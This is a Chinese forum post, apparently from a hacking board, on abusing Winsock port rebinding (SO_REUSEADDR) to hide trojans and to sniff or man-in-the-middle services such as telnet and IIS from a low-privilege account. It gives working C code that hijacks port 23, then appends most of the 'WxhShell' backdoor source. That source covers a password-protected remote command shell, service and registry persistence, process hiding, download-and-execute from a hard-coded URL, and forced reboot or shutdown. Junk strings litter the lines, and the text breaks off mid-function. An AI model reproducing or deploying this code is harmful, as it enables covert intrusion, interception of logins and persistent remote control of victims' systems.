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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: U]ouBG8/  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); J(-#(kMyf  
f5/ba9n I  
  saddr.sin_family = AF_INET; W~Mj6c~S"  
q^dI!93n|  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); /)y~%0  
^ tm,gh  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); F{f "xM  
.'7o,)pJ<  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 OH*[  
P67r+P,  
  这意味着什么?意味着可以进行如下的攻击: E<&VK*{zcO  
2@ACmh  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 c6dL S  
E9226  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) O*yc8fUI  
A"z')   
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 _.FxqH>  
UXa3>q>  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  'n.eCd j  
-\>Bphu,y  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 59T:{d;~  
~"}-cl,  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 {v]A`u)  
c+|,2e 0T  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 %qfEFhRC  
>48zRi\N  
  #include I#S6k%-'  
  #include Yw+_( 2 9=  
  #include {n%F^ky+7  
  #include    Ql\{^s+  
  DWORD WINAPI ClientThread(LPVOID lpParam);   2lHJ&fck<  
  int main() pU`Q[HOs  
  { eyl+D sK  
  WORD wVersionRequested; 3=5+NJ'8  
  DWORD ret; 1"~@UcJ  
  WSADATA wsaData; "o}3i!2Qr  
  BOOL val; U4O F{  
  SOCKADDR_IN saddr; gnB%/g[_  
  SOCKADDR_IN scaddr; 0$/wH#f  
  int err; Alp9] 0(  
  SOCKET s; K}! VY`  
  SOCKET sc; ep,kImT  
  int caddsize; ~++y4NB8Q  
  HANDLE mt; C8@SuJ  
  DWORD tid;   .azdAq'r&\  
  wVersionRequested = MAKEWORD( 2, 2 ); w]F(o  
  err = WSAStartup( wVersionRequested, &wsaData ); $xlI"-(  
  if ( err != 0 ) { OZLU>LU  
  printf("error!WSAStartup failed!\n"); MBDu0 [c  
  return -1; SukRJvi  
  } RNp3lXf O  
  saddr.sin_family = AF_INET; #th^\pV  
   $0sU h]7y  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 8TC%]SvYim  
FrB}2  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); hU+sg~E  
  saddr.sin_port = htons(23); SAc}5.  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) HDA!;&NRS  
  { SG;]Vr  
  printf("error!socket failed!\n"); GZ UDI#  
  return -1; vXRfsv y  
  } W9{6?,]  
  val = TRUE; 6 }qNH29  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 E,u@,= j  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) .0cm mpUNq  
  { 2|kx:^D p  
  printf("error!setsockopt failed!\n"); KE&Y~y8O\  
  return -1; #: w/vk  
  } X9#Od9cNaC  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; a@lvn/b2  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Pfe&wA't  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 S;MS,R  
g  O,X  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) mz3!HksZ "  
  { D#1'#di*t  
  ret=GetLastError(); 'kL>F&|  
  printf("error!bind failed!\n"); DL_2%&k/  
  return -1; yx4B!U  
  } a(NN%'fDD  
  listen(s,2); 8 POrD8B  
  while(1) 4[9~g=y>  
  { %f#3;tpC8  
  caddsize = sizeof(scaddr); O (<Wn-  
  //接受连接请求 |Xlc2?e  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Nf%jLK~  
  if(sc!=INVALID_SOCKET) ="P 3TP  
  { ;KWR/?ec  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); LwZBM#_g  
  if(mt==NULL) %XMrS lSOp  
  { 3YR6@*!f/  
  printf("Thread Creat Failed!\n"); [kMXr'TyPX  
  break; nMNAn}~*M  
  } WhMr'l/e  
  } WXp=>P[  
  CloseHandle(mt); :\NqGS=<  
  } XD<7d")I  
  closesocket(s); #%il+3J  
  WSACleanup(); t IdH?x  
  return 0; &$.Vi&{.  
  }   -P]J:7*0?\  
  DWORD WINAPI ClientThread(LPVOID lpParam) cmmH)6c>  
  { }"06'  
  SOCKET ss = (SOCKET)lpParam; `Yn^ -W  
  SOCKET sc; WOZf4X`[  
  unsigned char buf[4096]; lNs 'jaD  
  SOCKADDR_IN saddr; _Z~wpO}/  
  long num; 6+_)(+ c  
  DWORD val; p{"p<XFyO  
  DWORD ret; c BQ|m A  
  //如果是隐藏端口应用的话,可以在此处加一些判断 :@I?JSi  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   5H1SC8+B,  
  saddr.sin_family = AF_INET; ?C(Z\"IX  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); OY*BVJ^  
  saddr.sin_port = htons(23); HWxk>F0  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4NMv7[r  
  { %np b.C|+  
  printf("error!socket failed!\n"); H'-Fv!l?  
  return -1; 0NK]u~T<  
  } p#HPWW"  
  val = 100; .L0pS.=LT  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) y%Ui)UMnw]  
  { K2$mz  
  ret = GetLastError(); 2mP| hp?  
  return -1; %L+/GtxK  
  } l7Y^C1hM  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) S])YU?e  
  { O$J'BnPpw  
  ret = GetLastError(); ^QTl (L  
  return -1; "ZE JL.Wy  
  } EB)j&y_  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) KOv ar0  
  { $74ZC M  
  printf("error!socket connect failed!\n"); 9Xmb_@7b}  
  closesocket(sc); G'q7@d {'  
  closesocket(ss); O?p.kf{b  
  return -1;  N c F  
  } _SjS^z~  
  while(1) EMU~gwPR  
  { 7qt<C LJ  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 =\e}fyuK  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 cRs Lt/Wr  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ca*USM  
  num = recv(ss,buf,4096,0); VG*BAFs  
  if(num>0) Qf0$Z.-  
  send(sc,buf,num,0); k$y(H;XA  
  else if(num==0) N*$<Kjw  
  break; Kg=TPNf"$  
  num = recv(sc,buf,4096,0); Bs =V-0  
  if(num>0) 1*S It5?4  
  send(ss,buf,num,0); @=h%;"  
  else if(num==0) l %=yT6  
  break; 9G` 2t~%  
  } +2O('}t  
  closesocket(ss); 90|p]I%  
  closesocket(sc); L7_(KCh  
  return 0 ; iaQ[}'6!$  
  } K20n355uE  
A3*ti!X<6  
TyD*m$`y  
========================================================== ~mOGNf?f  
xyj)W  
下边附上一个代码,,WXhSHELL vC E$)z'"  
Q2cF++Q1  
========================================================== h>sz@\{  
^W9[PE#F  
#include "stdafx.h" d#Sc4xuf  
GRCc<TM, U  
#include <stdio.h> YN?@ S  
#include <string.h> JaKR#Y$+~  
#include <windows.h> 0){%4  
#include <winsock2.h> gn1`ZYg  
#include <winsvc.h> Ziu f<X{  
#include <urlmon.h> `!S5FE"-  
wYSvI  
#pragma comment (lib, "Ws2_32.lib") $_k'!/5  
#pragma comment (lib, "urlmon.lib") ZLyJ  
H$KE*Wwq  
#define MAX_USER   100 // 最大客户端连接数 tBtJRi(  
#define BUF_SOCK   200 // sock buffer 9Re605x Q6  
#define KEY_BUFF   255 // 输入 buffer E$.|h;i]Q  
|w- tkkS  
#define REBOOT     0   // 重启 (aVs p*E  
#define SHUTDOWN   1   // 关机 VD/Wl2DK  
?Pw# !t  
#define DEF_PORT   5000 // 监听端口 c=I!?a"  
L$zT`1Hy  
#define REG_LEN     16   // 注册表键长度 aQCbRS6  
#define SVC_LEN     80   // NT服务名长度 4U<'3~RN  
m}:";>?#  
// 从dll定义API -))>7skc  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6R%c+ok8i  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @pQv}%  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); DX}EOxO,.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |(}uagfrd  
Vm'ReH  
// wxhshell配置信息 j8?$Hk  
struct WSCFG { b;]'Bo0K  
  int ws_port;         // 监听端口 {-^>) iJqt  
  char ws_passstr[REG_LEN]; // 口令 \cPGyeq  
  int ws_autoins;       // 安装标记, 1=yes 0=no Y((z9-`  
  char ws_regname[REG_LEN]; // 注册表键名 eG|e1tK+  
  char ws_svcname[REG_LEN]; // 服务名 KZ ?<&x  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 &|%z!x6f  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 tH 5f;mY,  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 dS0G+3J&+E  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 2c5>0f  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Mki(,Y|1~  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 fTY@{t  
gwThhwR  
}; JQ+4 SomK  
_M:)x0("  
// default Wxhshell configuration qw%4j9}  
struct WSCFG wscfg={DEF_PORT, #Q 2$v;  
    "xuhuanlingzhe", hz Vpv,|G  
    1, j2qDRI  
    "Wxhshell", <$UMMA  
    "Wxhshell", LN?T$H  
            "WxhShell Service", mt fDl;/D  
    "Wrsky Windows CmdShell Service", ~W5 fJd0  
    "Please Input Your Password: ", @WhcY*R2  
  1, m%ET!+  
  "http://www.wrsky.com/wxhshell.exe", uAzV a!)  
  "Wxhshell.exe" s=q\BmG  
    }; A!fjw  
'QeqWn  
// 消息定义模块 |t]-a%A=w  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *Ei~2O}  
char *msg_ws_prompt="\n\r? for help\n\r#>"; sN-5vYfC*  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; t=XiSj\n  
char *msg_ws_ext="\n\rExit."; 70 HEu@-  
char *msg_ws_end="\n\rQuit."; (`3 Bi]7  
char *msg_ws_boot="\n\rReboot..."; umrRlF4M;  
char *msg_ws_poff="\n\rShutdown..."; xd(AUl4qY  
char *msg_ws_down="\n\rSave to "; (4M#(I~cE  
`*}#Bks!  
char *msg_ws_err="\n\rErr!"; vm8QKPy  
char *msg_ws_ok="\n\rOK!"; 9!2KpuWji  
HP]Xh~aP  
char ExeFile[MAX_PATH]; >/e#Z h  
int nUser = 0; @sfV hWG  
HANDLE handles[MAX_USER]; YI%7#L7C  
int OsIsNt; F{l,Tl"Jw  
\hi{r@k>}  
SERVICE_STATUS       serviceStatus; ~JC``&6E=}  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Kwh3SU=L}  
C,tlp  
// 函数声明 N1LR _vS"  
int Install(void); @q^WD_k  
int Uninstall(void); Hd;>k$B  
int DownloadFile(char *sURL, SOCKET wsh); t$\]6RU  
int Boot(int flag); ,j&o H$mW  
void HideProc(void); v]VIUVd  
int GetOsVer(void); O "{o (  
int Wxhshell(SOCKET wsl); NKGo E/  
void TalkWithClient(void *cs); " Jv&=zJ  
int CmdShell(SOCKET sock); F>^k<E?,C  
int StartFromService(void); )j6S<mn  
int StartWxhshell(LPSTR lpCmdLine); <6(u%t0k5  
:dLS+cTC  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); m{b(^K9}  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 2a? d:21 B  
\BJnJk!%  
// 数据结构和表定义 w'L;`k;Q  
SERVICE_TABLE_ENTRY DispatchTable[] = &X|z(vSJ$  
{ F+hsIsQ  
{wscfg.ws_svcname, NTServiceMain}, 3*8#cSQ/6o  
{NULL, NULL} <~:  g  
}; _^SNI~  
X-n'?=  
// 自我安装 m1+DeXR_g  
int Install(void) yGS._;#R  
{ T( ;BEyc?  
  char svExeFile[MAX_PATH]; Oh8;YE-%  
  HKEY key; :Ur%.0  
  strcpy(svExeFile,ExeFile); (%I`EAR  
anl?4q3;9  
// 如果是win9x系统,修改注册表设为自启动 xss D2*l  
if(!OsIsNt) { ?5/Sa  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ](T*f'LN  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2H]&3kM3X  
  RegCloseKey(key); B623B HwS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &<!I]:Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ia?8 Z"&lK  
  RegCloseKey(key); Q%t8cJ L  
  return 0; ?dxhe7m  
    } @<alWBS  
  } ?+5K2Zk  
} c&'T By  
else { ]^ j)4us  
%kVpW& ~  
// 如果是NT以上系统,安装为系统服务 *d,SI[c%e  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); A1YIPrav(  
if (schSCManager!=0) z&-3H/   
{ +j`*?pPD(.  
  SC_HANDLE schService = CreateService A>d*<#x  
  ( NINyg"g<  
  schSCManager, I}?fy\1A&  
  wscfg.ws_svcname,  p&ZD1qa  
  wscfg.ws_svcdisp, :T'"%_d5  
  SERVICE_ALL_ACCESS,  Rl 6E  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , lW>bX C  
  SERVICE_AUTO_START, a nIdCOh  
  SERVICE_ERROR_NORMAL, |@d7o]eM|  
  svExeFile, h?$4\^/  
  NULL, :L\@+}{(c  
  NULL, bLf }U9  
  NULL, D$ `yxc  
  NULL, F'`L~!F  
  NULL L0uN|?}  
  ); q$H'u[KQ06  
  if (schService!=0) 8G{} r  
  { meIY00   
  CloseServiceHandle(schService); 5?2PUE,a  
  CloseServiceHandle(schSCManager); \/lS!+~'']  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); X0 %k`3  
  strcat(svExeFile,wscfg.ws_svcname); iL5+Uf)E3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { seq S*^7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *K0CUir|  
  RegCloseKey(key); [QL)6Xr  
  return 0; vT[%*)`  
    } D+"5R5J",  
  } /4=O^;   
  CloseServiceHandle(schSCManager); e'7!aysj  
} #M8"b]oh6  
} eR5swy&  
2;6p2GNSh  
return 1; "CLd_H*)c  
} h^[K= J  
Zx`hutCv  
// 自我卸载 5$zC,g*#  
int Uninstall(void) t|%iW%m4  
{ lf Wxdi  
  HKEY key; *[_?4*F  
W~DY-;  
if(!OsIsNt) { E#_}y}7JY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zFv>'1$  
  RegDeleteValue(key,wscfg.ws_regname); 2&5"m;<  
  RegCloseKey(key); {mueP6Gz@J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "4L' 2w+  
  RegDeleteValue(key,wscfg.ws_regname); }HXNhv-K  
  RegCloseKey(key); ]M= 3Sn8}  
  return 0; =">O;L.xj  
  } v\f 41M7D  
} nc&V59*   
} FtE%<QHt  
else { X"'}1o  
WvN5IHo 8i  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); <PJwBA%{  
if (schSCManager!=0) G~^Pkl3%T  
{ w{Dk,9>w)  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [h,T.zpa  
  if (schService!=0) 1 3  
  { n;!t?jnf.  
  if(DeleteService(schService)!=0) { #nn2odR  
  CloseServiceHandle(schService); |4 wVWJ7   
  CloseServiceHandle(schSCManager); kGX`y.-[  
  return 0; KVqQOh'_T  
  } %'EOFv]  
  CloseServiceHandle(schService); w,JB`jS)/  
  } Ok O;V6`  
  CloseServiceHandle(schSCManager); HtS:'~DYo  
} cH"M8gP#  
} spn1Ji  
I[&z#foN=w  
return 1; l<^#@SH  
} .F}ZP0THnZ  
3Jk;+<  
// 从指定url下载文件 U2+CL)al^  
int DownloadFile(char *sURL, SOCKET wsh) >*Y~I0>  
{ ,?i#NN5p  
  HRESULT hr; `EV[uj&1S  
char seps[]= "/"; k(hes3JV  
char *token; N6yqA)z?;  
char *file; (~/D*<A  
char myURL[MAX_PATH]; $NJi]g|<3  
char myFILE[MAX_PATH]; lusINILc  
1 !OQxY}f  
strcpy(myURL,sURL); nQg6 j Zf  
  token=strtok(myURL,seps); %,>> <8  
  while(token!=NULL) jskATA /  
  { J%D'Xlb  
    file=token; d) G7U$z~  
  token=strtok(NULL,seps); 4$ejJaE  
  } "hpK8vQ  
m5f/vb4l  
GetCurrentDirectory(MAX_PATH,myFILE); A-.jv  
strcat(myFILE, "\\"); [4( TG<I  
strcat(myFILE, file); [#uX{!q'  
  send(wsh,myFILE,strlen(myFILE),0); lXL\e(ow  
send(wsh,"...",3,0); B 2&fvv?  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \asF~P  
  if(hr==S_OK) S 8h/AW6l  
return 0; AUxLch+"5K  
else xdp{y =,[  
return 1; )"|g&=  
Bn47O~  
} `%F.]|Y0  
Qe]@`Vg  
// 系统电源模块 jcFh2  
int Boot(int flag) <E6]8SQE  
{ b*r1Jn"h  
  HANDLE hToken; CI$F#j  
  TOKEN_PRIVILEGES tkp; fd*=`+P  
-Qqb/y  
  if(OsIsNt) { op&,&  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); yIqsZJj  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); NfS0yQPx  
    tkp.PrivilegeCount = 1; b 3D:w{l  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; GEIMCg(TRj  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (/Z~0hA[Q  
if(flag==REBOOT) { @T]gw J  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) T(7 8{A>  
  return 0; $fuFx8`2W  
} uoaF(F-  
else { 8uS1HE\%  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) NzNAhlXj3  
  return 0; xg\M9&J  
} S #&HB  
  } h'w9=Pk~6y  
  else { $9Y2\'w<h6  
if(flag==REBOOT) { ANn {*h  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7^as~5'&-  
  return 0; W"VN2  
} 44RZk|U1J{  
else { mmr>"`5.  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) m-> chOu~|  
  return 0; :h*20iP  
} -5kq9Dy\,  
} sVaWg?=qs'  
<`*6;j.&  
return 1; u=#LY$  
} (= uwx#  
?GB($D=Y'&  
// win9x进程隐藏模块 cV)fe`Gg  
void HideProc(void) ,t61IU3"  
{ R 5bt~U  
DV*8Mkzg  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Nr3td`;  
  if ( hKernel != NULL ) %v : a  
  { pRUN [[L  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); c{rX7+bN  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); zO9|s}J8q  
    FreeLibrary(hKernel); -(Taj[;[  
  } /2Y Nu*v  
1S0Hc5vw  
return; J0mY=vX  
} w0^(jMQe^  
*G>V`||RW  
// 获取操作系统版本 Qf7]t-Kp  
int GetOsVer(void) <74q]C  
{ ~ E>D0o  
  OSVERSIONINFO winfo; k;;?3)!  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); zUIh8cAoE  
  GetVersionEx(&winfo); Z UAWSJ,s  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) sB-c'`,w`  
  return 1; 0ydAdgD  
  else eey <:n/Z  
  return 0; yTkYPx  
} &Mo=V4i>  
Nd^9.6,JU  
// 客户端句柄模块 '1=/G7g  
int Wxhshell(SOCKET wsl) 0f;L!.eP  
{  @*%Q,$  
  SOCKET wsh; jr" yIC_  
  struct sockaddr_in client; <s]K~ Vo  
  DWORD myID; ,^:Zf|V  
Xdq2.:\  
  while(nUser<MAX_USER) T1\Xz-1  
{ N$p}rh#7{  
  int nSize=sizeof(client); i*W8_C:S  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); w v9s{I{P  
  if(wsh==INVALID_SOCKET) return 1; e%(zjCA  
~9h6"0K!  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); XrFyN(p  
if(handles[nUser]==0) zP rT0  
  closesocket(wsh); JWlH(-U4|  
else Ud`V"X  
  nUser++; :4]&R9J>o  
  } RvYew!n  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Xb#x^?|  
:}UWy?F  
  return 0; hSp[BsF`,  
} (U/6~r'.L  
;9=9D{-4+  
// 关闭 socket )&se/x+  
void CloseIt(SOCKET wsh) c^A3|tCi  
{ uC 5mxZ  
closesocket(wsh); z})H$]:$  
nUser--; 1g2%f9G  
ExitThread(0); 7&'^H8V  
} @hQ+pG@s  
q+WOnTS  
// 客户端请求句柄 j3Cpo x  
void TalkWithClient(void *cs) ]$y"|xqR  
{ >F Z6\  
0pBlmPafY  
  SOCKET wsh=(SOCKET)cs; XMa(XOnX  
  char pwd[SVC_LEN]; gigDrf}  
  char cmd[KEY_BUFF]; >(`|oD`,Y  
char chr[1]; HP*x?|4  
int i,j; jR }h3!  
1#aOgvf  
  while (nUser < MAX_USER) { rTDx|pvYx  
84e)huAs  
if(wscfg.ws_passstr) { aNv6 "  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &,{cm^*  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); s/`4]B;2U  
  //ZeroMemory(pwd,KEY_BUFF); ^^3 >R`  
      i=0; TnPdpynP  
  while(i<SVC_LEN) { s-*8=  
YPf&y"E&H  
  // 设置超时 ?n?Ep[D  
  fd_set FdRead; l OI(+74  
  struct timeval TimeOut; 8 x|NR?  
  FD_ZERO(&FdRead); Vnv<]D zC  
  FD_SET(wsh,&FdRead); p9oru0q  
  TimeOut.tv_sec=8; e9k}n\t3  
  TimeOut.tv_usec=0; :pDwg d  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 0 (@8   
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); DK*2 d_  
7I(Sa?D:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]1abz:  
  pwd=chr[0]; |Wi$@sWO  
  if(chr[0]==0xd || chr[0]==0xa) { S%mN6b~{  
  pwd=0; +]`MdOu  
  break; _BHb0zeot  
  } 9.#\GI ;  
  i++; ; =F^G?p^  
    } Pt";f  
^0~?3t5  
  // 如果是非法用户,关闭 socket V8[woJ5x  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); lJ R",_  
} CuT[V?^iD  
UKMrR9[x*  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !_l W#feR  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  ]c[80F-  
'ZT E"KT  
while(1) { .~ZNlI {K  
aR*z5p2-w  
  ZeroMemory(cmd,KEY_BUFF); Kdik7jL/J  
kp xd+w  
      // 自动支持客户端 telnet标准   )h2wwq0]  
  j=0; _9\ ayR>d  
  while(j<KEY_BUFF) { QOy+T6en  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); DH)@8)C  
  cmd[j]=chr[0]; tA}O'x  
  if(chr[0]==0xa || chr[0]==0xd) { W O|2x0K  
  cmd[j]=0; 4=*VXM/  
  break; NnrX64|0  
  } jP@H$$-=wH  
  j++; n8iejdA'  
    } A5y?|q>5  
cX E42MM  
  // 下载文件 L$i&>cF\_>  
  if(strstr(cmd,"http://")) { nCGLuZn  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4SY]Q[  
  if(DownloadFile(cmd,wsh)) #RlI([f|&  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); &" K74  
  else Z3~$"V*ZB{  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -'5:Cq   
  } B07(15y]  
  else { gqyQ Zew  
i/-Xpj]Zf  
    switch(cmd[0]) { *D*K`dk  
  VISNmz2P  
  // 帮助 ^3*/x%A,g  
  case '?': { |a3)U%rUEQ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )z2Tm4>iql  
    break; `| L+a~~  
  } r,L#JR w#-  
  // 安装 My,ki:V?g6  
  case 'i': { (NScG[$}  
    if(Install()) FTtYzKX(bv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iW.8+?Xq&  
    else e@NS=U` <  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6b6}HO  
    break; Q$iv27  
    } )O#>ONm^  
  // 卸载 @m1vB!  
  case 'r': { x AkM_<  
    if(Uninstall()) R`!x<J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^r}^-  
    else 6EGh8H f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zw7=:<z=  
    break; J0C,K U(  
    } 8`U5/!6fu  
  // 显示 wxhshell 所在路径 $*9h\W-)`Q  
  case 'p': { 1EyM,$On  
    char svExeFile[MAX_PATH]; #-f7hg*  
    strcpy(svExeFile,"\n\r"); TPvS+_<oL{  
      strcat(svExeFile,ExeFile); =HQH;c"  
        send(wsh,svExeFile,strlen(svExeFile),0); aqoT  
    break; `5=0f}E  
    } e~i ?E  
  // 重启 g5; W6QX  
  case 'b': { f|1y?w?I  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `k a!`nfo  
    if(Boot(REBOOT)) 2|qE|3&{'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w2@ `0  
    else { ~{=+dQ  
    closesocket(wsh); FxTOc@<  
    ExitThread(0); Q<;f-9q @  
    } f+Put  
    break; UF|v=|*{#  
    } Jc-0.^]E}  
  // 关机 r2M._}bF  
  case 'd': { h<$Vry}  
